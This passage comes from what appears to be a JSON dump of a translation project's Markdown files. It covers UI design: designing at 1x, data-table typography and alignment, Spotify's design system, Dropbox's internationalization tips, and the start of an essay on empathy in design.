Sketch，酷毙了！）_\n\n不仅工程师会爱上你，实际上还使得设计中犯得错误更少了。那些关于像素调整的不必要的品控都可以避免掉了。\n\n### 5\\. 设备上的预览仍然可以使用\n\n记得我之前说 Sketch 里的 1x 的设计图预览会变得模糊不清么？其实那早就不是问题啦。现在所有一切都可以无缝的在设备上预览了。\n\n对于 Android 设备来说，也可以 Photoshop 和 Skala 达到同样的效果。Duang！一切都可以完美缩放了！\n\n### 6\\. 文件更小，性能更棒\n\n这样你的设计文件会更小，特别是当你还使用了位图（bitmap）的时候。在 Sketch 里，如果一个页面 (page) 里包含了过多的画板 (artboard) ，延迟就是一个很头疼的事情了，而更小的画板意味着更好的表现。\n\n### 7\\. 保证未来\n\n按照 1x 来设计避免了以后 Apple 和 Google 推出新的分辨率又要再做一次转换的问题。还记得苹果发布 iPhone 6 Plus 的时候，大家每天念叨着该如何为这个屏幕做设计么？这个困惑导致了后来出现来一系列关于如何做转换的[资源](http://www.paintcodeapp.com/news/iphone-6-screens-demystified)。\n\n按照非 1x 下设计总给人一种随意的感觉，总有更多新的屏幕分辨率会出现。只有 1x 的设计才是恒久远的。\n\n-\n\n更新 1：[Dave Bedingfield](https://twitter.com/dbedingfield)，推特的一名设计师，指出了按照 1x 另一个重要的优点。\n\n### **理由8 — 过多空白带来的假象**\n\n在 2x 和 3x 设计时往往会给人一种错觉，那就是“我还有很多的空间”。特别是对于那些刚入行的设计师来说，他们会在高像素的空间里放入更多的内容，容易造成点击区域过小或者显示不清晰的问题。而按照 1x 设计则避免了这样的影响。\n\n> Designing for 2x can also cause designers to experience a placebo effect: designing at 2x is quite appealing, visually, and can mask. However, a baseline of 1x is still the optimal “starting point” in and I actually think our designs benefit from this constraint (a design that “works” at 1x will also “work” 2x; we avoid fooling ourselves into thinking that 2x provides more space to “cram” elements). The temptation to design for higher resolutions can cause tap targets to shrink, type sizes to decrease, legibility to suffer, etc.. Designing at 1x can help protect from that.\n\n本段引用，译文如下：\n\n> 按照 2x 的设计也容易给人造成一种假象：在视觉上，2x 的设计的确更具诱惑。但是， 1x 设计仍然是设计的“出发点”，我甚至认为，1x 的设计正是受益于它的限制（ 1x 的设计在 2x 下仍然是可用的；避免了让自己误以为还有更多空间可以“塞下”更过的元素）。在更高的分辨率下做设计会导致可以点击的空间缩水，可以输入的空间变少，内容的辨认度下降等等...按照 1x 设计则帮助我们规避了这些问题。\n\nDave 是我认识的最了解在不同平台设计这一学问的人了，这也带给了推特的很多独创性的想法。很多年前他给推特的设计团队发的一封很长的邮件，强调了 1x 设计的重要性，摘录于此[链接](https://medium.com/@kurtvarner/heres-an-excerpt-from-dave-bedingfield-s-email-to-the-twitter-design-team-articulating-the-103b82055b70#.t09g4p9ne)。\n\n以上。客官，您请随便用。如果我有漏掉的，还请客官补充。\n\n特别鸣谢 [Jeremy Goldberg](https://twitter.com/jeremygoldbrg) ，将我带入正途并说服我使用 1x 设计的第一人。\n\n译注：\n\n1. 文中 1x 可读作“一倍”，2x 读作 “两倍”，依次类推\n"
  },
  {
    "path": "TODO/design-better-data-tables.md",
    "content": "> * 原文链接：[Design Better Data Tables](https://medium.com/mission-log/design-better-data-tables-430a30a00d8c#.ju6qcpd2c)\n* 原文作者：[Matthew Ström](https://medium.com/@ilikescience)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[Kulbear](https://github.com/Kulbear), [Gran](https://github.com/Graning)\n\n# 这样做才能设计出更好的数据表\n\n**差强人意的表格。**他们哪里没有做对？\n\n由于一些历史原因，表格在成为网页的必须品之后，因为有更加新潮，更加时髦的布局，它被很多设计师弃用。但是现如今，他们没法在网页上再创造出更多的外观，而数据表格仍然可以用于收集和组织很多我们日常生活中使用的信息。\n\n例如，我认为所有表格的起源是：美国的 `\"Harmonized Tariff 的计划表\"`，一个包含有 3,550 页的表格，它罗列了每一样可以被进口入美国的货物清单，包含有些令人兴奋的货物，例如，\"男士外衣，短大衣，披肩，斗篷，厚夹克（包括滑雪夹克），防风夹克和相似的东西（包括棉外套，背心夹克）。\"\n\n![](https://cdn-images-1.medium.com/max/1600/1*NoYxEosGh6slPJUUPE1buw.png)\n\n不过，什么是短风衣？\n\n数据表格让人不爽的地方（毫无疑问），是没有被精美的设计过，它看起来太丑了。设计是一个表格的关键: 如果正确的制作一个表格，它会让复杂的数据变得容易检索和比较。如果错误的制作一个表格，它能让所要表达的信息完全不能被理解。\n\n所以，让我们用正确的方式（制作一个表格），好吧？\n\n理解你的数字符号\n\n数字并非生来平等。我并不是在讨论 `π` 和 `∞`（虽然我常这样，在实践中）; 我正在讨论的数字，它们是 *tabular* 或者 *oldstyle*, *lining* 或者 *proportional*。 \n\n以下插图展示了 *oldstyle* 和 *lining* 的不同。\n\n![](https://cdn-images-1.medium.com/max/2000/1*xWe8Z0-KdRwoncgUtIWG7g.png)\n\n`Oldstyle` Vs. `lining` 数字\n\n`Oldstyle` 的数字在句子中看起来很漂亮，他们在小写字母的大小和间距上匹配得更好; `lining` 的数字更统一，并且加强了表的网格状结构。 \n\n*proportional* 和 *tabular* 数字之间的区别并不明显:\n\n![](https://cdn-images-1.medium.com/max/2000/1*Xj1N2kM1uKC58kRYGxehag.png)\n\n`Proportional` vs. `tabular` 数字\n\n`Proportional` 数字被设计成匹配颜色 - 它是一般的大小和字间距 - 的字型。`Tabular` 数字，另一方面而言，都是统一的大小，所以每列数字都能整齐的排列起来。虽然这个区别在 1 或 2 行看上去不是那么强烈，使用 `lining` 的数字会让查看大型的表格变得很容易并且更少的错误率。\n\n#### 一份有关使用 `tabular` `lining` 数字的技术说明\n\n当设计表格的时候，你需要为确保你正在使用的数字符号是正确的那个多做一些功课（`tabular` `lining` 数字并不是一般的默认值）。`Adobe` 的产品有一个 `opentype` 面板，它能被使用来设定合适的数字，并且 `CSS` 提供了一个 [有点神秘的语法](https://css-tricks.com/almanac/properties/f/font-feature-settings) 为了启用这个特性。除此之外，你可以 `google` 一些结果，它们将带领你走向正确的道路。\n\n现在播送一条坏消息: 不是所有的字型都有 `tabular` `lining` 数字。[有些可能会贵](https://www.myfonts.com/fonts/fontfont/ff-meta/)。也有一些例外: 这个很棒的 [Work Sans](https://fonts.google.com/specimen/Work+Sans) 是一个免费的字型，它有真正的 `tabular` `lining` 数字。\n\n如果你无法找到一个合适的有 `tabular` `lining` 字型，一个好的回退方案是 `等宽字体` -  当然他们会看上去像 `源码`，他们能很好的在表内展示。额外的，新的 `Apple` 系统默认的字体 `San Francisco` 就有很出色的 `tabular` `lining` 数字，在小号的表现上也是很好看的。\n\n### 对齐很重要\n\n3½ 关注这些简单原则:\n\n* 1. 数值数据向右对齐\n* 2. 文本数据向左对齐\n* 3. 表头和他们的数据对齐\n* 3½. 不要使用居中对齐\n\n![](https://cdn-images-1.medium.com/max/2000/1*ReTh9L-cl-QStJVAUVqejA.png)\n\n美国人口历史表 — [Wikipedia](https://en.wikipedia.org/wiki/List_of_U.S._states_by_historical_population)\n\n数值数据从右向左读; 我们比较数字通过先看个位数字，再看十位数字，等等。这就是大部分人学习算数的方法 - 先从右开始再往左，依次读数据。因此，表格应该以右对齐的方式保存数值数据。\n\n文本数据从左往右读（以英文为例）。比较文本元素通常是通过字母表的排序完成: 如果两个文本的起始字母都是相同的，那就从第二位开始比较，依次类推。尝试阅读非左对齐的文本是很令人很抓狂的。\n\n表头，通常来说，应该和他们的数据对齐。这保持了垂直的行看上去很干净，并且提供了一致性和上下文。\n\n居中对齐会让表格变得 “参差不齐”，这让查看变得更加困难，常常需要额外的分割线和图形元素。\n\n#### 一样有效的数字 = 更好的对齐方式\n\n保持有效数字的一致性 - 常常是小数点后的数字，是一种简单又更好的对齐表格的方法 - 保持同样位数的小数，每一列都一致。有效数字是整篇文章的 \"兔子洞\"，所以我将简单的阐述我的建议: 更少的有效数字，更好的效果。\n\n#### 更少的，更简洁的标签\n\n为你的数据增加标签是至关重要的。这些伴随着表格上下问的标签，可能给读者一个更广的阅读视角。\n\n![](https://cdn-images-1.medium.com/max/1600/1*na9P5f323Pi8sI-kpvLs9w.png)\n\n`密西西比河洪水水位状况预报` - [NOAA](http://www.srh.noaa.gov/lmrfc/?n=lmrfc-mississippiandohioriverforecast)\n\n#### 标题\n\n这听上去像传统观点，但是赋予你的数据表格一个干净和简洁的标题和其他你所做的设计决定是一样重要的。有一个好的标题，表格是可扩展的: 他们能被用于不同的上下文，也一样能被外部的数据引用。\n\n#### 单位\n\n在表格里最常用的标签是对数据的计量单位; 常常，它重复出现在每个数据点。无需重复给所有数据添加单位，在每列的第一个数据点上增加即可。\n\n#### 表头\n\n尽可能的保持表头；数据表格的设计应当关注数据本身，并且表头标签会占据很多可视空间。\n\n#### 给自己省点墨\n\n当决定对表选择什么样式的图形元素的时候，你的目标应该是在确定表格保真度的同时，减少表格占据的空间。一个可能的方式就是少用点墨水 - 无论何时，都不要设计元素的样式。\n\n![](https://cdn-images-1.medium.com/max/2000/1*71B5i6rZMMsryN0pDwuXzw.png)\n\n'2016 美国职棒大联盟统计' - [BaseballReference](http://www.baseball-reference.com/leagues/NL/2016.shtml)\n\n#### 规则\n\n如果你能在你的表格中对齐数据点，规则就不是那么重要了。他们主要提供的便利是，允许你减少元素间距的同时，还能很好的区分开不同的元素。即使应用了一些规则，它也应该几乎不会对你的快速阅读造成困扰。\n\n水平的规则是最有用的，因为他们允许你大大减少长表格的垂直间距占用的空间，让对比不同的数值变得更快或者看到一段时间内（数据的）趋势。\n\n我有一个未经证实的规则是 **斑马条纹是糟糕的**。实际上，非常糟糕。选用或者弃用。\n\n#### 背景\n\n背景在区分不同区间的数据时，是十分实用的: 比如，频繁切换于单一值，总数和平均值之间。如果只需要将数据高亮，为数据提供额外的上下文，或凸显和前一时期不同的变化数值是需要用背景的，使用图形元素会更好，例如 ✻, † （我最爱的之一）, 或者 ▵.\n\n另外，表格应该是单色的。使用颜色来提供有组织的上下文或者增加额外的意思，很可能提高了误解和错误率，并且对那些视力不好的人来说会造成使用上的问题。\n\n### 总结\n\n表格可能是 [无趣的](https://medium.com/mission-log/well-designed-interfaces-look-boring-568faa4559e0#.e6301amez)，但是他们对包含有大梁数据的文档都是十分重要的，他们每一块都值得仔细的设计。通过设计更高效，更清晰，和易于使用的表格，你能显著改善分析理解大量数据所带来的痛苦。\n\n#### 延伸阅读 & 灵感\n\n[**FiveThirtyEight**](http://fivethirtyeight.com/features/the-rise-and-rise-of-nneka-ogwumike/) 是一个伟大灵感的来源 - 他们把数据设定在一个叫做 [Decima Mono](https://www.myfonts.com/fonts/tipografiaramis/decima-mono/) 的字型上，它特别为了将很多数据适应一个小空间而设计。\n\n[**Butterick’s Practical Typography**](http://practicaltypography.com/) 是我的一个秘密武器，它会被使用在我所有需要排版印刷的东西上，并且所有你需要留有多分拷贝的参考资料 - 它太适用了！\n\n最后，如果没有 [**Edward Tufte**](http://www.edwardtufte.com/bboard/q-and-a-fetch-msg?msg_id=00041I)，那就没有任何有关数据设计的文章能被完成。他对有关设计的富有洞察力的作品是不可缺少的。\n\n***[1]*** 有关其他对算术有关的实现，可查看日本孩子是怎么使用 [*Soroban*](https://www.youtube.com/watch?v=Px_hvzYS3_Y) 或者 [*lattice multiplication*](https://www.khanacademy.org/math/arithmetic/multiplication-division/lattice-multiplication/v/lattice-multiplication) 是怎么工作的。\n"
  },
  {
    "path": "TODO/design-doesnt-scale.md",
    "content": "> * 原文地址：[Design Doesn’t Scale](https://medium.com/@hellostanley/design-doesnt-scale-4d81e12cbc3e#.pp9zks7wq)\n* 原文作者：[Stanley Wood](https://medium.com/@hellostanley?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n# Design Doesn’t Scale. #\n\nDesign Doesn’t Scale is a statement that has bothered me for the last four-years. When I joined Spotify’s design team in 2012, the level of inconsistency and fragmentation shocked me. Up-close, the treatment of type, colour, imagery, layout, IA, and interactions just didn’t seem to align anywhere. And when I started talking about it, I realised the whole team was frustrated too. We concluded that the fragmentation in the product was just reflecting the fragmentation in the team, that designers spread across so many different projects, timezones and competing timetables, just didn’t stand a chance. And, after all, weren’t these factors inherent in all modern tech companies anyway? It was then that I first heard myself say, “Design Doesn’t Scale”.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*WmTrYFgM1OJASlGK2AuMxQ.jpeg\">\n\nBut while this issue unsettled me, I tried my best not to engage with it — dismissing it as a lost cause — and focussing on a redesign instead. It didn’t work. No matter how happy I was with a design, it was always dulled when seen alongside several conflicting design-directions. A year after I joined I finally became so frustrated with this issue that I decided to make it my personal mission to find a solution. Surely crossing the arms and accepting that design doesn’t scale couldn’t be the only answer.\n\nAnd so the premise for my quest was Design Doesn’t Scale or: How does a team of distributed designers, spread across different time-zones, projects and competing objectives ever find a way to work together so they can create one coherent experience? Here’s what we discovered.\n\n### Principles ###\n\nIt was during a weekly design critique that it became clear we had nothing to align on. Our feedback was nothing more than personal opinions based on some new design fad. This led to frustration for the designer presenting, and left the team with a feeling of uncertainty once the session was over. So in 2013, we decided to write some principles to turn this group of individuals into a team with a shared point-of-view.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*AWqeTBwnxZ_qE3hEqZwEZQ.png\">\n\n(1) Content First (2) Be Alive (3) Get Familiar (4) Do Less (5) Stay Authentic (6) Lagom\n\nWe’ve since used these principles to align our design critiques, shape a collective voice across design in the organisation, and as the foundation for the visual realignment we shipped in 2014 — a project that held many learnings and worthy of its own article.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*TNNtgSQ3CtIboOOEZBgFGw.png\">\n\nSpotify 2014 (Project Cat)\n\nWhat really made the principles work, was that we tailored them to our domain (music) and tied them back to our business goals, in terms that would resonate with non-designers.\n\nSince launching them we’ve been exploring ways to make them stickier, for example, reducing them to three and making them more inclusive as Experience Principles in collaboration with our Marketing team.\n\n### Guidelines ###\n\nAfter the visual realignment, it soon became clear that the hardest part would be maintaining this new found consistency. So in 2014, we created Spotify’s Design Language System, GLUE (a Global Language for a Unified Experience), which documented our styles, components, and patterns, on a website that was accessible to everyone in the company.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*SQjAZi0C2HYa2-73wqj9xg.png\">\n\nVersion 1 of Spotify’s Guidelines\n\nFor the first time we had a shared definition of our interfaces that we could use to coordinate its evolution. This not only encouraged consistency and increased efficiency, but also created a shared vocabulary between designers and developers, so that the label for a colour or type-style could be understood across design-specs and code.\n\nAlong with the guidelines, we created UI toolkits for our design tools that reflected the same styles and components. This was great for kickstarting projects, while also highlighting what didn’t exist and might need to be added to the toolkit later. It also forced us to choose which applications (Photoshop or Illustrator or Sketch, etc.) we’d support and how we’d share files with one another.\n\nModularising design in this way has revealed the relationships and dependencies that make up our experience, and ultimately make it easier for us to collaborate with one another.\n\n### Glue ###\n\nWe soon realised that maintaining guidelines and toolkits is a constant effort. So after some convincing, GLUE became a dedicated team in 2015, made up of designers and engineers.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*6YuPfBrFs143biVHJo5ZhA.jpeg\">\n\nTeam GLUE doing a mashup of a T-rex and a Superman pose.\n\nBeing a centralised team, GLUE can support our distributed designers by facilitating collaboration across teams and providing frameworks to evolve the different design needs in the company. The engineers on the team extend this work by codifying the core building blocks from the guidelines across iOS, Android and Desktop. Providing a technical implementation for front-end developers across the organisation.\n\n### Guild ###\n\nA common challenge with a central group is maintaining context, as it’s easy to fall out of touch with the current needs of the organisation and find that the solutions you’re providing aren’t relevant anymore. To solve this we setup the Design Guild.\n\nEvery week, for 1-hour, two-designers from each product mission and the GLUE team, meet to share context on whatever they’re working on that will have consequence for the others. GLUE might share updates on guidelines, while a feature designer might want to align on a new design they’re working on. Often these updates will result in a friendly-nod to acknowledge we’re aligned, or a workshop to resolve any conflicts in the design direction. This meeting has helped break down silos, encourage collaboration, and amplify a shared sense of ownership for the overall experience.\n\n### Design QA ###\n\nDespite all this alignment and coordination, sometimes design bugs still get through. To fix this we recently set-up our first Global Design QA. It required designers from all our offices (Stockholm, Gothenburg, London, New York, and San Francisco) to come together and re-calibrate what our shared definition of quality is, including the practices we need to ensure they are upheld. We invited members of QA (Quality Assurance) to make sure designers were clear on how best to use tools like Jira (a bug ticketing system) and how to test their designs on all supported devices. This triggered many discussions, highlighting concerns from what kind of design bugs should be captured to how to prioritise them.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*tZ0FtcjEctT2i2Tgc42-cA.jpeg\">\n\nSnapshot from a recent Design QA workshop.\n\nBut perhaps the most fundamental topic we addressed was how we define design quality. Which up until then had been pretty much “you know it when you see it”. We decided to try a checklist instead. In it we stated that quality means following our guidelines and principles, and supporting our core metrics. And that when you need to deviate from either you take accountability for updating any affected teams or frameworks.\n\nLooking for more ways to define quality, we recently began asking if a design is “in **TUNE”**, an acronym to measure all parts of the experience, including how it *feels* to use Spotify. This is helping to shape a strong narrative around the emotive aspects of our experience, and be mindful that the interface is the brand.\n\n- **T**one. Are we using the right kind of tone of voice for our brand?\n\n- **U**sable. Is it accessible to everyone?\n\n- **N**ecessary. Is that functionality really needed?\n\n- **E**motive. Does it feel good to use? Feel like somebody cares?\n\nAfter the summer, we will trial the Global Design QA process as a key step for any designer preparing to ship something in a release. Making sure that not only will we Design QA our individual work, but all the work that is going live to our customers.\n\n**And this brings me back to today.** Taking stock of the learnings the last few years have given me and writing this partial account of all the things that have worked for us. And even though I’m aware that this is not a complete journey, that many new challenges will arise, and some solutions might become obsolete, I am happy to put this personal design demon to rest, knowing that when you invest in aligning and co-ordinating designers, design does scale.\n\nIf you’re a designer, product owner or manager, and face any of these challenges, I encourage you to try the methods above and see if they can help. And you can always reach out to me on twitter if you’d like more info or support.\n\n### Thank you for reading : ) ###\n\nIf you enjoyed this, please hit ♡ and [Follow below](https://medium.com/@hellostanley). You can also reach out to me on twitter [@hellostanley](http://twitter.com/hellostanley).\n"
  },
  {
    "path": "TODO/design-for-internationalization.md",
    "content": "> * 原文地址：[Design for internationalization](https://medium.com/dropbox-design/design-for-internationalization-24c12ea6b38f#.9j1hidxim)\n* 原文作者：[John Saito](https://medium.com/@jsaito?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*4b5cI9BV1Fqqq98YsqmJQg.jpeg\">\n\n# Design for internationalization #\n\n## Build better products for people around the world ##\n\nImagine you’re trying out a new app for the first time. It’s getting rave reviews from people on Twitter. They’re saying it’s brilliant. Life-changing. Delightful.\n\nYou start it up and see this:\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*Cy5mMktsKBZvbPzlXaVBLA.png\">\n\nHmm. That’s odd. There’s a video up top, but the captions are in a language you don’t understand. The wording is weird, and the button text doesn’t even fit in the button. How could people think this is good?\n\nWell, it turns out this app wasn’t designed in your language. It was designed in Elvish, then translated into your language. Most people are using the Elvish version, so they don’t know how things look in your language.\n\nBelieve it or not, this is what non-English users have to deal with time and time again. Because many apps are only designed with English in mind, some design details can get lost in translation if you’re not careful.\n\n\n\nTo avoid running into situations like the one above, here are a few tips to keep in mind when designing for internationalization.\n\n### 1. Leave room for longer translations ###\n\nThe most common internationalization problem is not having enough space for translations.\n\nThink of the label “**New!**” for example. In English, it’s 4 characters with the exclamation point. But in French, it’s 9 characters: “**Nouveau !**” That’s more than double the size of English. And yes, in French, there’s supposed to be a space before exclamation points.\n\nIf your design includes words, make sure you have enough space to fit longer translations. If you don’t, you might end up with overlapping text or text that gets cut off.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*09D6oeP9hutAyl8N1CPOBA.png\">\n\nUh-oh. It’s feeling a little cramped in here.\n\nOne way I estimate translation lengths is by using Google Spreadsheets. Using the [GoogleTranslate](https://support.google.com/docs/answer/3093331?hl=en) function, I can get machine translations in a bunch of languages at once. Within seconds, I can get a rough idea of how long the translations might be in each language.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*cwW9C7ixEaUOGUnllnHxJw.png\">\n\nA tool I made in Google Spreadsheets to estimate translation lengths\n\n[IBM’s globalization site](http://www-01.ibm.com/software/globalization/guidelines/a3.html) has a useful chart that shows how much extra space is needed when translating from English:\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*w0CjFH1xAw5yd8ZrFIi6kA.png\">\n\n### 2. Avoid putting text in narrow columns ###\n\nColumns are a great way to organize your content. They create balance, structure, and rhythm. They work well with your carefully crafted grid system.\n\nBut what happens when the length of your text becomes unpredictable? Well, that’s what happens during translation. Your 1-line headings can grow into 2 or 3 lines, and your beautifully balanced layout can suddenly break.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*ZtT3APKFK2VHpJWpIHDxCA.png\">\n\n*Wrapping translations can ruin a designer’s day.*\n\nWhen you put text in narrow columns, there’s a good chance some translations will wrap into more lines. A safer choice is to use wide rows instead of narrow columns. That’ll give your text more room to grow without breaking your layout.\n\n### 3. Don’t embed text in images ###\n\nIf your design includes an image with text in it, it can be a nightmare to get that image translated into a bunch of languages.\n\nTranslators can translate each of the text layers in a Photoshop or Sketch file, but it gets messy because you might have to adjust the layout in each language to accommodate longer translations.\n\nHere are a couple of better options:\n\n- **Use lines instead of text:** Sometimes you don’t have to use real words to get your message across. It’s amazing what a few fuzzy lines can do.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*nMA-vKio8AcY_AhZaf_rLA.png\">\n\n- **Overlay text with CSS:** The text in the green circle below isn’t actually part of the image. The text was just added on top using CSS.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*wrkH7j-wuQPTFlOdAMosag.png\">\n\n### 4. Don’t create sentences with UI elements ###\n\nIt’s common for designers to move different UI elements around to see which layouts work best. “Let’s put this text field over here to the right. Let’s move this dropdown to the left.”\n\nBut you’ve got to be extra careful when working with words. If you try to form sentences by combining text with buttons, boxes, or dropdowns, you’ll often end up in a lot of trouble.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*pg9WGS2Mjzw-bOBczAyPWw.png\">\n\n*This can get messy for internationalization.*\n\nThere are a few reasons why this is a pain for internationalization:\n\n- **Different word order:** Languages have different ways of ordering words. If you translate “Buy 3 shirts” into Japanese, the word “Buy” will move to the end of the sentence. If your design depends on words to be in a certain order, it won’t work in every language.\n\n- **Pluralization:** In English, we have one singular form and one plural form for each noun: “1 picture” and “__ pictures.” But in Russian, there are 3 possible forms. So if a user needs to enter a number in the middle of a sentence, that sentence might end up with a grammatical error depending on the number they enter.\n\n- **Gender:** Some languages have gender-specific forms for nouns and adjectives. In French, the word “large” could be translated as “grand,” “grande,” “grands,” or “grandes” depending on the thing it describes. If you place a dropdown in a sentence, that sentence might end up with a grammatical error depending on the words around it.\n\nSo what do you do instead? A better alternative is to keep the UI element out of the sentence:\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*TkIA4qufokEsRD1SiDSWwA.png\">\n\n*It’s better to leave UI elements outside of the sentence.*\n\n### 5. Watch out for metaphors ###\n\nProduct design is all about metaphors. Every icon, every button, and every interaction is a metaphor for something in the physical world. The Dropbox icon is a metaphor for a storage box. Click-and-drag is a metaphor for picking things up with your hand.\n\nBut some metaphors mean different things in different cultures. In the United States, an owl represents wisdom. In Finland and India, an owl can represent foolishness.\n\nObjects can also look different around the world. For most Americans, it’s pretty clear that the object below is a mailbox. But this isn’t what mailboxes look like around the world. Most countries don’t put flags on their mailboxes, so this metaphor might not make sense to everyone.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*UJt8-pNscLjUqjR7RzWM2g.png\">\n\n*This isn’t what a mailbox looks like in most parts of the world.*\n\nIf possible, it’s a good idea to do some research on metaphors before including them in your design. At Dropbox, we’ll often ask our Internationalization team to review icons or illustrations if we’re worried about how they’ll be perceived internationally.\n\n### 6. Use descriptive feature names ###\n\nFrom a marketing perspective, it’s tempting to invent fun feature names that get people talking. But fun names are difficult to translate, and they might be meaningless in other languages.\n\nYears ago, Dropbox introduced a feature that let users have unlimited version history on a file. We initially called this feature “Packrat.”\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*42MIMQ_0yT7Ob656HJnRqQ.png\">\n\n“Packrat” option with a little rat icon\n\nWhile “Packrat” might’ve been a clever name for a U.S. audience, it made no sense in other languages. The rat icon next to it made things even more confusing. Thankfully, we changed the name to “Extended version history,” which was so much easier to translate.\n\nTo avoid translation problems, it’s safer to use descriptive terms for feature names. Descriptive terms might seem a bit boring, but they’re better for translation and for usability, too.\n\n### 7. Provide alternates for translation ###\n\nIn general, when you’re writing words that’ll get translated, it’s best to write in a style that’s precise, literal, and neutral. However, there might be special branding moments when you want to be a little more playful.\n\nFor cases like this, we’ll sometimes write two versions: one version for English and an alternate version for translation.\n\nYou can do this by adding comments for translators for anything that’s tricky to translate. We’re currently writing labels for stickers used in Dropbox. We decided to use “OMG cat” as the label for the sticker below.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*6IMEaGvddRarCRZ15EtDEw.png\">\n\nOh my gosh! It’s OMG cat.\n\nWhen translators work on this, they’ll see a comment saying this can be also translated as “Surprised cat.” That way, translators have the freedom to use a playful translation, but they can fall back on a more literal translation if needed.\n\nHope you found some of these tips helpful. If you’ve got other design tips for internationalization, feel free to chime in below so we can all learn from each other. By spreading the word about internationalization, I’m hoping we can all do our part to build better products for people around the world.\n\n\n*Want more from the Dropbox Design team? Follow our* [*publication*](https://medium.com/dropbox-design), [*Twitter*](https://twitter.com/dropboxdesign), and [*Dribbble*](https://dribbble.com/dropbox). Want to make magic together? [*We’re hiring*](https://www.dropbox.com/jobs/design?gh_src=2x3mfd1)!\n\n*Many thanks to everyone who helped tell this story, including Fanny Luor, Jensen Hong, Adam Sawyer, Dawn Lee, Andrea Drugay, Anthony Kosner, Dave Weiss, Galina Mishnyakova, Kurt Varner, and all the incredible i18n gurus who’ve taught me so much over the years.*🙏\n\n"
  },
  {
    "path": "TODO/design-is-mainly-about-empathy.md",
    "content": "> * 原文链接: [Design Is Mainly About Empathy](https://trackchanges.postlight.com/design-is-mainly-about-empathy-c9d51ccb208a)\n* 原文作者: [Neil Renicker](https://trackchanges.postlight.com/@tinystride)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: [Rottenpen](https://github.com/Rottenpen)\n* 校对者:[geeeeeeeeek](https://github.com/geeeeeeeeek)，[wild-flame](https://github.com/wild-flame) \n\n# 设计，其实是一种产生共鸣的过程\n\n![](https://cdn-images-1.medium.com/max/1200/1*pwlSr2Qq5rcVVTU7SxEAqQ.png)\n\n当一个老司机试图解释他们复杂的工作给外行人听是非常有意思的。举一个不错的栗子————看理论物理学家 理查德·费曼(Richard Feynman 美国物理学家，加州理工学院物理学教授，1965 年诺贝尔物理奖得主)讨论磁铁。\n\n[![video](https://i.ytimg.com/vi/wMFPe-DwULM/hqdefault.jpg)](https://trackchanges.postlight.com/media/d812c608ece9992d49752bfeafece892?maxWidth=640)\n\n[看看视频FUN TO IMAGINE 4里，费曼是怎么解释磁体是如何工作的](https://www.youtube.com/watch?v=wMFPe-DwULM)\n\n这个记者问到费曼，能不能解释一下两块磁铁之间无形的吸引力。我猜想他会用知识分子风格的愤怒来回应：\n  \n> “这取决于你是一个物理系的学生还是一个什么都不懂的普通人。[...]我不能依据你所熟悉的其他东西来解释那种吸引力。\n\n> 如果我说磁铁像橡皮带一样相互吸引，那我一定是在骗你，因为它们当中并没有橡皮带相连。那我就将陷入麻烦中 因为你们马上会来问我这个带的本质是什么。还有就是，如果你们很好奇，你们就会问我为什么橡皮带会一次又一次地吸引。这样我会以电子学的原理作为解释来结束这个问题。你瞧，这么一来我没办法用橡皮带来忽悠你们了。\n\n> 所以我只能告诉你们，磁铁是相互吸引的，没办法给你解释它们吸引的原因。\n\n现在，我们全部都好像白痴呢。费曼成功地用简单的栗子回答了记者的问题，但他讲不用围绕着深层的知识来把电磁学解释给外行人。他是一个实践的物理学家，而不是一个教育家。\n\n当一个教育家处理同样的问题，他会怎么做呢？\n\n[![video](https://i.ytimg.com/vi/hFAOXdXZ5TM/sddefault.jpg)](https://www.youtube.com/embed/hFAOXdXZ5TM?wmode=opaque&widget_referrer=https%3A%2F%2Ftrackchanges.postlight.com%2Fmedia%2Fb94633e7912577c9c43a7a0535435925%3FmaxWidth%3D700&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1)\n\n磁体是如何工作的呢？[https://www.youtube.com/watch?v=hFAOXdXZ5TM](https://www.youtube.com/watch?v=hFAOXdXZ5TM)\n\n> 